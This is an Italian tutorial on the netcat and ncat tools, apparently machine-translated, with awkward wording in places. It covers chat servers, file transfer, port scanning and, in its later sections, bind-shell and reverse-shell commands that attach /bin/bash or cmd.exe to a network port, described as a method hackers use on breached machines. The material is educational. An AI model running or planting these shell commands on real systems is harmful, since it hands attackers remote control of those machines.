Netcat

Netcat è un’applicazione terminale che è simile al programma telnet, ma ha molte più funzioni.

È una “versione power” del tradizionale programma telnet.

Oltre alle funzioni di base di telnet può fare varie altre cose come la creazione di server socket per ascoltare le connessioni in entrata sulle porte, trasferire file dal terminale ecc.

Quindi è un piccolo strumento che è ricco di molte funzionalità., Pertanto è chiamato “coltellino svizzero per TCP / IP”.

Il manuale netcat definisce netcat come

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

Quindi fondamentalmente netcat è uno strumento per fare alcune comunicazioni di rete bidirezionali sui protocolli TCP / UDP.

Più tecnicamente parlando, netcat può agire come un server socket o client e interagire con altri programmi allo stesso tempo l’invio e la ricezione di dati attraverso la rete.

Una tale definizione sembra troppo generica e rende difficile capire cosa fa esattamente questo strumento e a cosa serve., Questo può essere compreso solo usando e giocando con esso.

Ncat

Quindi la prima cosa da fare sarebbe impostare netcat sulla tua macchina. Netcat è disponibile in vari gusti. Significa che è disponibile da più fornitori.

Ma la maggior parte di essi ha funzionalità simili. Su Ubuntu ci sono 3 pacchetti chiamati netcat-openbsd, netcat-traditional e ncat.

La mia versione preferita è ncat. Ncat è stato sviluppato dal team nmap è il migliore di tutti i netcats disponibili e, soprattutto, la sua multipiattaforma e funziona molto bene su Windows.,

Sito web del progetto:

Installa Ncat su Windows

La versione Windows di netcat può essere scaricata da

Basta scaricare ed estrarre i file in un posto adatto.

O scaricare ncat versione di Windows

Installare Ncat su Ubuntu / Linux Mint/Linux

Ubuntu pacchetto syntaptic ha netcat-openbsd e netcat-pacchetti tradizionali disponibili. Installa entrambi. Nmap viene fornito anche con un’implementazione netcat chiamata ncat. Installare anche questo.,

Installa su Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

Per usare l’implementazione netcat-openbsd usa il comando “nc”.
Per utilizzare netcat-uso implementazione tradizionale ” nc.tradizionale ” comando
Per utilizzare nmap ncat utilizzare il comando “ncat”.

Esempi di comandi Netcat

Nel seguente tutorial li useremo tutti in diversi esempi in modi diversi.

Telnet

La prima cosa che netcat può essere usato come è un programma telnet. Vediamo come.

$ nc -v google.com 80

Ora netcat è connesso a google.com sulla porta 80 e il suo tempo per inviare qualche messaggio., Proviamo a recuperare la pagina indice. Per questo tipo “OTTIENI indice.html HTTP / 1.1 ” e premere il tasto Invio due volte. Ricorda due volte.

L’uscita da google.com è stato ricevuto e riecheggiato sul terminale.

Server socket semplice

Per aprire un server socket semplice digitare il seguente comando.

$ nc -l -v 1234

Il comando precedente significa : Netcat ascolta la porta TCP 1234. L’opzione-v fornisce un output dettagliato per una migliore comprensione., Ora da un altro terminale prova a connetterti alla porta 1234 usando il comando telnet come segue:

$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong

Dopo la connessione inviamo un messaggio di prova come abc e ting tong al server socket netcat. Il server socket netcat farà eco ai dati ricevuti dal client telnet.

$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong

Questo è un sistema di chat completo. Digita qualcosa nel terminale netcat e verrà visualizzato anche nel terminale telnet. Quindi questa tecnica può essere utilizzata per chattare tra 2 macchine.,

Server ECHO completo

Ncat con l’opzione-c può essere utilizzato per avviare un server echo. Source

Avvia il server echo usando ncat come segue

$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'

Ora da un altro terminale connettiti usando telnet e digita qualcosa. Sarà rispedito con “” prefisso.
La versione netcat-openbsd non ha l’opzione-c. Ricordarsi di utilizzare sempre l’opzione-v per l’output dettagliato.

Nota : Netcat può essere detto di salvare i dati in un file invece di riecheggiare al terminale.,

$ nc -l -v 1234 > data.txt

Crea server UDP

Netcat funziona anche con le porte udp. Per avviare un server netcat utilizzando porte udp utilizzare l’opzione-u

$ nc -v -ul 7000

Client UDP

Connettersi a questo server utilizzando netcat da un altro terminale

$ nc localhost -u 7000

Ora entrambi i terminali possono chattare tra loro.

Trasferimento file

Un intero file può essere trasferito con netcat. Ecco un rapido esempio.

Una macchina A – Invia file

$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555

Nel comando precedente, il comando cat legge ed emette il contenuto di happy.txt., L’uscita non è eco al terminale, invece è convogliato o alimentato a ncat che ha aperto un server socket sulla porta 5555.

Sulla macchina B – Ricevi il file

$ ncat localhost 5555 > happy_copy.txt

Nel comando precedente ncat si connetterà a localhost sulla porta 5555 e tutto ciò che riceve verrà scritto su happy_copy.txt

Ora happy_copy.txt sarà una copia di happy.txt poiché i dati inviati sulla porta 5555 sono il contenuto di happy.txt nel comando precedente.

Netcat invierà il file solo al primo client che si connette ad esso. Dopo che è finita.,
E dopo che il primo client chiude la connessione, netcat server chiuderà anche la connessione.

Scansione delle porte

Netcat può essere utilizzato anche per la scansione delle porte. Tuttavia questo non è un uso corretto di netcat e dovrebbe essere usato uno strumento più applicabile come nmap.

Il parametro “-n” qui impedisce la ricerca DNS, “-z” fa sì che nc non riceva alcun dato dal server e “-w 1” rende il timeout della connessione dopo 1 secondo di inattività.

Remote Shell/Backdoor

Ncat può essere utilizzato per avviare una shell di base su un sistema remoto su una porta senza la necessità di ssh., Ecco un rapido esempio.

$ ncat -v -l -p 7777 -e /bin/bash

Quanto sopra avvierà un server sulla porta 7777 e passerà tutti gli input in entrata al comando bash e i risultati verranno rispediti. Il comando converte fondamentalmente il programma bash in un server. Quindi netcat può essere utilizzato per convertire qualsiasi processo in un server.

Connettiti a questa shell bash usando nc da un altro terminale

$ nc localhost 7777

Ora prova a eseguire qualsiasi comando come help , ls , pwd ecc.

Windows

Sulla macchina Windows il cmd.,exe (dos prompt program) viene utilizzato per avviare una shell simile utilizzando netcat. La sintassi del comando è la stessa.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182

Ora un’altra console può connettersi usando il comando telnet

Sebbene netcat possa essere usato per configurare shell remote, non è utile per ottenere una shell interattiva su un sistema remoto perché nella maggior parte dei casi netcat non sarebbe installato su un sistema remoto.

Il metodo più efficace per ottenere una shell su una macchina remota utilizzando netcat è la creazione di shell inverse.,

Reverse Shell

Questa è la funzionalità più potente di netcat per la quale è più utilizzata dagli hacker. Netcat è utilizzato in quasi tutte le tecniche di shell inversa per catturare la connessione inversa del programma shell da un sistema violato.

Reverse telnet

Per prima cosa prendiamo un esempio di una semplice connessione telnet inversa. In ordinate telnet connection il client si connette al server per avviare un canale di comunicazione.

Your system runs (# telnet server port_number) =============> Server

Ora utilizzando la tecnica di cui sopra è possibile connettersi a dire porta 80 del server per recuperare una pagina web., Tuttavia un hacker è interessato a ottenere una shell di comando. È il prompt dei comandi di Windows o il terminale di Linux. La shell di comando dà il controllo finale del sistema remoto. Ora non esiste un servizio in esecuzione sul server remoto a cui è possibile connettersi e ottenere una shell di comando.

Così, quando un hacker hack in un sistema, ha bisogno di ottenere una shell di comando. Poiché non è possibile direttamente, la soluzione è usare una shell inversa. In una shell inversa il server avvia una connessione alla macchina dell’hacker e fornisce una shell di comando.,

Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine

Per attendere le connessioni in entrata, è necessario aprire un listener socket locale. Netcat / ncat può farlo.
Prima un server netcat deve essere avviato sulla macchina locale o sulla macchina dell’hacker.

macchina A

$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888

Quanto sopra avvierà un server socket (listener) sulla porta 8888 sulla macchina locale / sulla macchina degli hacker.

Ora una shell inversa deve essere lanciata sulla macchina di destinazione/macchina hackerata. Esistono diversi modi per lanciare shell inverse.,

Affinché qualsiasi metodo funzioni, l’hacker deve essere in grado di eseguire comandi arbitrari sul sistema o dovrebbe essere in grado di caricare un file che può essere eseguito aprendo dal browser (come uno script php).

In questo esempio non stiamo facendo nessuna delle cose sopra menzionate. Dovremo solo eseguire netcat sul server anche per lanciare una shell di comando inversa per dimostrare il concetto. Quindi netcat dovrebbe essere installato sul server o sulla macchina di destinazione.,

Macchina B:

$ ncat localhost 8888 -e /bin/bash

Questo comando si connetterà alla macchina A sulla porta 8888 e alimenterà l’output di bash dando effettivamente una shell alla macchina A. Ora la macchina A può eseguire qualsiasi comando sulla macchina B.

Macchina A

In uno scenario di test di hacking / penetrazione reale non è possibile eseguire netcat sulla macchina di destinazione. Pertanto altre tecniche sono impiegate per creare una shell. Questi includono il caricamento di script php shell inversa ed eseguirli aprendoli nel browser. O lanciare un exploit di overflow del buffer per eseguire il payload della shell inversa.,

Conclusione

Quindi negli esempi precedenti abbiamo visto come usare netcat per diverse attività di rete come telnet, reverse shell ecc. Gli hacker lo usano principalmente per creare shell inverse rapide.

In questo tutorial abbiamo coperto alcuni degli usi di base e comuni di netcat. Controlla l’articolo di wikipedia per ulteriori informazioni su cos’altro netcat può fare.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *